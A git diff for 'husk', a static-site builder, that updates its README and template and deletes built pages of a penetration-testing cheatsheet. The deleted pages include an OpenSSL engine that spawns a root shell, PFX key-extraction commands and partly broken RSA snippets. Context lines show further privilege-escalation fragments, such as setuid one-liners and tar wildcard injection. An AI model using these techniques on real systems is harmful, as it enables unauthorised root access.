diff --git a/.gitignore b/.gitignore index 64362fc..e30064f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,6 @@ -__pycache__/ -templates/content/ +__pycache__/* +templates/content/* bkp.* poetry.lock -build +build/* diff --git a/README.md b/README.md index 561b451..07e36f9 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,29 @@ # husk -Builds a website of a git repository file structure and markdown files \ No newline at end of file +Builds a website out of a git repository file structure and markdown files + +* `README.md` is your frontpage +* The file structure of your git repository is used as a tree strucuture for the website. Build your website through markdown files in your git repository only +* Parses Markdown only, ignores your scripts and code files. Write documentation in your code repository, let husk deal with the rest +* Search your website's files live and without a database +* Builds a TOC of your markdown file as sections of the website for ease of use + + +## Usage + +To build a static website do the following steps +1. Clone your git repository +2. Put its path into `settings.toml` +3. Run `python3 freezer.py` + +There will be a directory called `build` containing your static website after the script is finished. Copy it to your webserver and enjoy. + +### Debugging + +* Debug as __dynamic website__ via running `./start.sh` and visting `localhost:5000` + +* Debug the __static website__ after you did the build via +```sh +cd build/ +python3 -m http.server +``` diff --git a/build/crypto/openssl/openssl.html b/build/crypto/openssl/openssl.html deleted file mode 100644 index 5eb7611..0000000 --- a/build/crypto/openssl/openssl.html +++ /dev/null @@ -1,271 +0,0 @@ - - -
- - - - - - - - - - - -
- In the Open - - - - - - - -
- - - - -
- - - - -
-

-
- -
- -
-
- - - -

OpenSSL Cheatsheet

-

Extract keys from PFX Cert

-
    -
  • Key and cert form PFX
  • -
-
openssl pkcs12 -in cert.pfx -nocerts -out key.pem -nodes
-openssl pkcs12 -in cert.pfx -out cert.pem -clcerts -nokeys
-
- -

Extract & Repack PFX Cert

-
    -
  • Extract & Repack with another password, e.g. from mimikatz to cqure
  • -
-
openssl pkcs12 -in *.pfx -out temp.pem -nodes
-openssl pkcs12 -export -out *.pfx -in temp.pem
-
-
-
-
- - - - - - - - - - \ No newline at end of file diff --git a/build/crypto/openssl/openssl_engine.html b/build/crypto/openssl/openssl_engine.html deleted file mode 100644 index f8f246d..0000000 --- a/build/crypto/openssl/openssl_engine.html +++ /dev/null @@ -1,301 +0,0 @@ - - -
- - - - - - - - - - - -
- In the Open - - - - - - - -
- - - - -
- - - - -
-

-
- -
- -
-
- - - -

OpenSSL Engine

-
    -
  • Hook external libs
  • -
  • -

    OpenSSL blog

    -
  • -
  • -

    Most minimal example

    -
  • -
-
#include <openssl/engine.h>
-
-static int bind(ENGINE *e, const char *id)
-{
-  return 1;
-}
-
-IMPLEMENT_DYNAMIC_BIND_FN(bind)
-IMPLEMENT_DYNAMIC_CHECK_FN()
-
- -
    -
  • Shell as root
  • -
-
#include <openssl/engine.h>
-#include <unistd.h>
-
-static int bind(ENGINE *e, const char *id)
-{
-  setuid(0);
-  setgid(0);
-  system("/bin/bash");
-}
-
-IMPLEMENT_DYNAMIC_BIND_FN(bind)
-IMPLEMENT_DYNAMIC_CHECK_FN()
-
- -
    -
  • Compile
  • -
-
gcc -fPIC -o rootshell.o -c rootshell.c
-gcc -shared -o rootshell.so -c -lcrytpo rootshell.o
-
- -
    -
  • Execute via
  • -
-
openssl engine -t `pwd`/rootshell.so
-
-
-
-
- - - - - - - - - - \ No newline at end of file diff --git a/build/crypto/rsa.html b/build/crypto/rsa.html deleted file mode 100644 index 6d3f936..0000000 --- a/build/crypto/rsa.html +++ /dev/null @@ -1,305 +0,0 @@ - - -
- - - - - - - - - - - -
- In the Open - - - - - - - -
- - - - -
- - - - -
-

-
- -
- -
-
- - -
- -
-

RSA

- -
possible_e = []
-for i in range (2, phi):
-    if gcd(n, i) == 1 and gcd(phi, i) == 1:
-        possible_e.append() 
-
- -
    -
  • Decryption, private key d --> -
  • -
-
possible_d = []
-for i in range (phi + 1, phi + foo):
-    if i * e mod phi == 1 :
-       possible_d.append()
-
- -
    -
  • - -
  • -
  • - -
  • -
-

Euklid

-
def gcd(a, b):
-    if b == 0:
-        return a
-    return gcd(b, a % b)
-
- - - -
-
-
- - - - - - - - - - \ No newline at end of file diff --git a/build/enumeration/docs/aws.html b/build/enumeration/docs/aws.html index f8ad549..df4d407 100644 --- a/build/enumeration/docs/aws.html +++ b/build/enumeration/docs/aws.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -267,109 +266,34 @@ ws secretsmanager get-secret-value --secret-id <Name> --region <region&
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/enumeration/docs/cewl.html b/build/enumeration/docs/cewl.html index bcb16bb..2205819 100644 --- a/build/enumeration/docs/cewl.html +++ b/build/enumeration/docs/cewl.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -148,109 +147,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/enumeration/docs/dns.html b/build/enumeration/docs/dns.html index d6d03a0..afaaca0 100644 --- a/build/enumeration/docs/dns.html +++ b/build/enumeration/docs/dns.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -174,109 +173,34 @@ quit
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/enumeration/docs/docker_enumeration.html b/build/enumeration/docs/docker_enumeration.html index 846448b..19067db 100644 --- a/build/enumeration/docs/docker_enumeration.html +++ b/build/enumeration/docs/docker_enumeration.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -173,109 +172,34 @@ tar -xf image.tar
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/enumeration/docs/ffuf.html b/build/enumeration/docs/ffuf.html index e81ec8a..10fc0dc 100644 --- a/build/enumeration/docs/ffuf.html +++ b/build/enumeration/docs/ffuf.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -218,109 +217,34 @@ ffuf -u http://test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1m
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/enumeration/docs/gobuster.html b/build/enumeration/docs/gobuster.html index 2106989..9d880a2 100644 --- a/build/enumeration/docs/gobuster.html +++ b/build/enumeration/docs/gobuster.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -199,109 +198,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/enumeration/docs/kerberoast.html b/build/enumeration/docs/kerberoast.html index d01f7e8..778d01c 100644 --- a/build/enumeration/docs/kerberoast.html +++ b/build/enumeration/docs/kerberoast.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -204,109 +203,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/enumeration/docs/kubectl.html b/build/enumeration/docs/kubectl.html index 2bcbb92..1db6aeb 100644 --- a/build/enumeration/docs/kubectl.html +++ b/build/enumeration/docs/kubectl.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -128,7 +127,10 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/level3_hypervisor/lxc.html b/build/exploit/level3_hypervisor/lxc.html index e506b7f..bbcd217 100644 --- a/build/exploit/level3_hypervisor/lxc.html +++ b/build/exploit/level3_hypervisor/lxc.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -188,109 +187,34 @@ lxc exec ignite /bin/sh
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/level3_hypervisor/microk8s.html b/build/exploit/level3_hypervisor/microk8s.html index 6f4d7a8..c76baa3 100644 --- a/build/exploit/level3_hypervisor/microk8s.html +++ b/build/exploit/level3_hypervisor/microk8s.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -184,109 +183,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/capabilities.html b/build/exploit/linux/capabilities.html index 2e0bfc4..f4117ad 100644 --- a/build/exploit/linux/capabilities.html +++ b/build/exploit/linux/capabilities.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -162,109 +161,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/dirty_pipe/dirty_pipe.html b/build/exploit/linux/dirty_pipe/dirty_pipe.html index 464b894..d3605ff 100644 --- a/build/exploit/linux/dirty_pipe/dirty_pipe.html +++ b/build/exploit/linux/dirty_pipe/dirty_pipe.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -167,109 +166,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/exiftool.html b/build/exploit/linux/exiftool.html index 8562861..6fd6974 100644 --- a/build/exploit/linux/exiftool.html +++ b/build/exploit/linux/exiftool.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -159,109 +158,34 @@ djvumake exploit.djvu INFO= - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/groups.html b/build/exploit/linux/groups.html index 248ca7d..bb5bcb5 100644 --- a/build/exploit/linux/groups.html +++ b/build/exploit/linux/groups.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -147,109 +146,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/ld_preload.html b/build/exploit/linux/ld_preload.html index 7f90e02..417d451 100644 --- a/build/exploit/linux/ld_preload.html +++ b/build/exploit/linux/ld_preload.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -217,109 +216,34 @@ or
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/nfs_rootsquash.html b/build/exploit/linux/nfs_rootsquash.html index a2db229..7c503d6 100644 --- a/build/exploit/linux/nfs_rootsquash.html +++ b/build/exploit/linux/nfs_rootsquash.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -171,109 +170,34 @@ chmod +s /tmp/net_volume/shell
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/overlayfs.html b/build/exploit/linux/overlayfs.html index c1484ca..89d6f5e 100644 --- a/build/exploit/linux/overlayfs.html +++ b/build/exploit/linux/overlayfs.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -148,109 +147,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/pkexec/CVE_2021_4034.html b/build/exploit/linux/pkexec/CVE_2021_4034.html index 66974ab..d997e3e 100644 --- a/build/exploit/linux/pkexec/CVE_2021_4034.html +++ b/build/exploit/linux/pkexec/CVE_2021_4034.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -155,109 +154,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/polkit.html b/build/exploit/linux/polkit.html index f4402e4..06a90d5 100644 --- a/build/exploit/linux/polkit.html +++ b/build/exploit/linux/polkit.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -204,109 +203,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/racing_conditions.html b/build/exploit/linux/racing_conditions.html index 5d3aa07..33c2225 100644 --- a/build/exploit/linux/racing_conditions.html +++ b/build/exploit/linux/racing_conditions.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -173,109 +172,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/setcap.html b/build/exploit/linux/setcap.html index d2b0d79..bf7e50e 100644 --- a/build/exploit/linux/setcap.html +++ b/build/exploit/linux/setcap.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -158,109 +157,34 @@ python3 -c "import os; os.setuid(0); os.system('/bin/b
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/shared_object_injection.html b/build/exploit/linux/shared_object_injection.html index f088b8c..e6a27d6 100644 --- a/build/exploit/linux/shared_object_injection.html +++ b/build/exploit/linux/shared_object_injection.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -174,109 +173,34 @@ void inject ( ) {<
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/shell_shock.html b/build/exploit/linux/shell_shock.html index 211319c..b404b67 100644 --- a/build/exploit/linux/shell_shock.html +++ b/build/exploit/linux/shell_shock.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -149,109 +148,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/sudo/CVE_2019_14287.html b/build/exploit/linux/sudo/CVE_2019_14287.html index 0e0df29..36d4374 100644 --- a/build/exploit/linux/sudo/CVE_2019_14287.html +++ b/build/exploit/linux/sudo/CVE_2019_14287.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -156,109 +155,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/sudo/CVE_2019_18634.html b/build/exploit/linux/sudo/CVE_2019_18634.html index 869077e..875b387 100644 --- a/build/exploit/linux/sudo/CVE_2019_18634.html +++ b/build/exploit/linux/sudo/CVE_2019_18634.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -148,109 +147,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/sudo/baron_samedit.html b/build/exploit/linux/sudo/baron_samedit.html index 698a5ad..d5161f9 100644 --- a/build/exploit/linux/sudo/baron_samedit.html +++ b/build/exploit/linux/sudo/baron_samedit.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -159,109 +158,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/sudo/tokens.html b/build/exploit/linux/sudo/tokens.html index e36ffe5..2c65c84 100644 --- a/build/exploit/linux/sudo/tokens.html +++ b/build/exploit/linux/sudo/tokens.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -163,109 +162,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/linux/wildard_exploitation.html b/build/exploit/linux/wildard_exploitation.html index 59815d8..deb729d 100644 --- a/build/exploit/linux/wildard_exploitation.html +++ b/build/exploit/linux/wildard_exploitation.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -172,109 +171,34 @@ touch "/var/www/html/--checkpoint=1"
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/network/mac_spoofing.html b/build/exploit/network/mac_spoofing.html index 9bb53f7..aec84bc 100644 --- a/build/exploit/network/mac_spoofing.html +++ b/build/exploit/network/mac_spoofing.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -150,109 +149,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/padding/padbuster.html b/build/exploit/padding/padbuster.html index ef0aadf..a5a8b45 100644 --- a/build/exploit/padding/padbuster.html +++ b/build/exploit/padding/padbuster.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -164,109 +163,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/python/code_injection.html b/build/exploit/python/code_injection.html index 3bc9e3e..f4ca120 100644 --- a/build/exploit/python/code_injection.html +++ b/build/exploit/python/code_injection.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -156,109 +155,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/python/jail_escape.html b/build/exploit/python/jail_escape.html index c15da17..5986077 100644 --- a/build/exploit/python/jail_escape.html +++ b/build/exploit/python/jail_escape.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -165,109 +164,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/python/lib_hijack.html b/build/exploit/python/lib_hijack.html index 78fdf43..a52f427 100644 --- a/build/exploit/python/lib_hijack.html +++ b/build/exploit/python/lib_hijack.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -173,109 +172,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/python/pickle.html b/build/exploit/python/pickle.html index 96e74ec..5a89817 100644 --- a/build/exploit/python/pickle.html +++ b/build/exploit/python/pickle.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -168,109 +167,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/python/pwntools.html b/build/exploit/python/pwntools.html index b17b556..94d810b 100644 --- a/build/exploit/python/pwntools.html +++ b/build/exploit/python/pwntools.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -147,109 +146,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/python/pyc.html b/build/exploit/python/pyc.html index 88c541c..df0f948 100644 --- a/build/exploit/python/pyc.html +++ b/build/exploit/python/pyc.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -146,109 +145,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/python/scapy.html b/build/exploit/python/scapy.html index 4b84312..32fda87 100644 --- a/build/exploit/python/scapy.html +++ b/build/exploit/python/scapy.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -147,109 +146,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/samba/smbmap.html b/build/exploit/samba/smbmap.html index 18ea751..8977e57 100644 --- a/build/exploit/samba/smbmap.html +++ b/build/exploit/samba/smbmap.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -156,109 +155,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/sqli/mssql.html b/build/exploit/sqli/mssql.html index 63230c3..58ab465 100644 --- a/build/exploit/sqli/mssql.html +++ b/build/exploit/sqli/mssql.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -152,109 +151,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/sqli/no_sqli.html b/build/exploit/sqli/no_sqli.html index 83a8c37..2a69ffc 100644 --- a/build/exploit/sqli/no_sqli.html +++ b/build/exploit/sqli/no_sqli.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -196,109 +195,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
